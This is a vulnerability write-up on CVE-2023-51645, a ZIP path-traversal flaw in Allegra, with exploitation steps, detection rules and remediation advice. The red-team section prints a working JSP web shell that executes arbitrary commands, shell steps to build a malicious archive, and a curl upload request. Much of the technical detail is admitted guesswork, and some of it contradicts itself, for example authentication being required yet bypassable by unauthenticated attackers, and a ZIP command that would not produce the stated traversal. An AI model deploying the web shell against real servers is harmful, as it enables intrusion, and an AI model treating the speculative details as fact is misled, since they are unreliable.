CVE-2023-51645

Executive Summary

CVE-2023-51645 is a critical directory traversal vulnerability in the unzipFile method of Allegra, a project management and collaboration platform. This flaw allows an authenticated attacker to bypass authentication mechanisms and execute arbitrary code on the server in the context of the LOCAL SERVICE account. The vulnerability stems from improper validation of user-supplied paths during file operations, enabling an attacker to write malicious files (e.g., a web shell) to arbitrary locations on the filesystem. With a CVSS score of 7.2, this vulnerability poses a high risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, but the technical details are sufficient for a skilled attacker to develop an exploit.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Authentication is required, but can be bypassed.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise possible.
• Integrity Impact: High (I:H) – Arbitrary file write leads to code execution.
• Availability Impact: High (A:H) – Code execution can disrupt services.

Threat Level: High. The vulnerability allows remote code execution with low privileges and no user interaction, making it attractive for attackers targeting Allegra deployments.

Deep Dive & Mechanics

The vulnerability resides in the unzipFile method of Allegra, which is used to extract uploaded ZIP archives. The method fails to properly sanitize user-supplied paths, specifically the destination path for extracted files. An attacker can craft a ZIP archive containing files with path traversal sequences (e.g., ../../), causing the extraction to write files outside the intended directory. By writing a malicious file (e.g., a JSP or ASPX web shell) to a web-accessible directory, the attacker can achieve remote code execution.

The authentication bypass aspect is critical: although the unzipFile method requires authentication, the existing authentication mechanism can be circumvented, likely through a separate vulnerability or misconfiguration (e.g., weak session handling or default credentials). This allows unauthenticated attackers to trigger the exploit.

The code execution occurs in the context of LOCAL SERVICE, a low-privileged Windows account. However, this account has network access and can be leveraged for lateral movement or privilege escalation.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described generically. The unzipFile method likely uses a function similar to:

public void unzipFile(String zipPath, String destDir) {
    ZipInputStream zis = new ZipInputStream(new FileInputStream(zipPath));
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        String entryName = entry.getName();
        // VULNERABLE: No path traversal check
        File outputFile = new File(destDir, entryName);
        // Write file...
    }
}

A patched version would validate the entry name:

public void unzipFile(String zipPath, String destDir) {
    ZipInputStream zis = new ZipInputStream(new FileInputStream(zipPath));
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        String entryName = entry.getName();
        // PATCH: Sanitize path
        File outputFile = new File(destDir, entryName);
        String canonicalPath = outputFile.getCanonicalPath();
        String canonicalDest = new File(destDir).getCanonicalPath();
        if (!canonicalPath.startsWith(canonicalDest)) {
            throw new SecurityException("Path traversal detected");
        }
        // Write file...
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Allegra instance (authentication may be bypassed).
• Ability to upload a ZIP file via the unzipFile endpoint.

Exploitation Steps:

1. Craft a malicious ZIP archive containing a file with a path traversal payload. For example, create a file named ../../../../inetpub/wwwroot/shell.jsp containing a web shell.

2. Upload the ZIP archive to the Allegra server using the vulnerable unzipFile method. This can be done via an HTTP POST request to the endpoint (e.g., /api/unzip).

3. Trigger the extraction – the server will extract the ZIP, writing the web shell to the web root.

4. Access the web shell via a browser to execute arbitrary commands.

Example ZIP creation (Linux):

mkdir exploit
cd exploit
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %>' > shell.jsp
zip --symlinks ../malicious.zip ../../../../inetpub/wwwroot/shell.jsp

HTTP Request (using curl):

curl -X POST -F "file=@malicious.zip" -b "session=valid_session_cookie" http://target/allegra/api/unzip

Blue Team (Detection & Defense)

Detection:

• Monitor for ZIP file uploads to Allegra endpoints, especially those with unusual file names or paths.
• Look for file creation events in web-accessible directories (e.g., inetpub/wwwroot, /var/www/html).
• Analyze network traffic for outbound connections from the Allegra server to unknown IPs (post-exploitation).

Defense:

• Implement strict input validation on all file uploads, especially ZIP extraction.
• Use a Web Application Firewall (WAF) to block requests with path traversal patterns (e.g., ../).
• Apply the principle of least privilege: run the Allegra service with a restricted account.
• Monitor for authentication bypass attempts (e.g., repeated failed logins followed by successful access).

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in web-accessible directories (e.g., shell.jsp, cmd.aspx).
  • Files with path traversal patterns in their names (e.g., ..%2f..%2f).
• Network:
  • HTTP POST requests to /api/unzip or similar endpoints.
  • Outbound connections from the Allegra server to unknown IPs on ports 80/443.
• Logs:
  • Application logs showing extraction of files with ../ in the path.
  • Windows Event Logs (Event ID 4663) indicating file writes to sensitive directories.

Detection Engineering

YARA Rule

rule CVE_2023_51645_Allegra_Unzip_Traversal {
    meta:
        description = "Detects malicious ZIP files exploiting CVE-2023-51645 path traversal in Allegra"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51645"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $web_shell = /shell\.(jsp|asp|aspx|php|cgi)/
    condition:
        $path_traversal and $web_shell
}

Sigma Rule

title: CVE-2023-51645 Allegra UnzipFile Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-51645 via ZIP file uploads with path traversal
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\Allegra.exe'
        TargetFilename|contains: '..\'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in ZIP extraction (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51645 Allegra UnzipFile Path Traversal"; flow:to_server; content:"POST"; http_method; content:"/api/unzip"; http_uri; content:"filename="; pcre:"/\.\.\//i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the unzipFile functionality if not essential, or restrict access to trusted IPs only.
2. Apply a virtual patch using a WAF to block requests containing path traversal sequences (e.g., ../).
3. Review authentication mechanisms to prevent bypass (e.g., enforce strong session management, disable default credentials).

Long-Term Fix:

• The vendor (Allegra) must release a patch that properly validates file paths during ZIP extraction. Until then, consider migrating to an alternative solution.
• Implement file integrity monitoring (FIM) on web directories to detect unauthorized file writes.

Workaround:

• Use a custom middleware or proxy to sanitize ZIP file names before they reach the vulnerable method.

Valters IT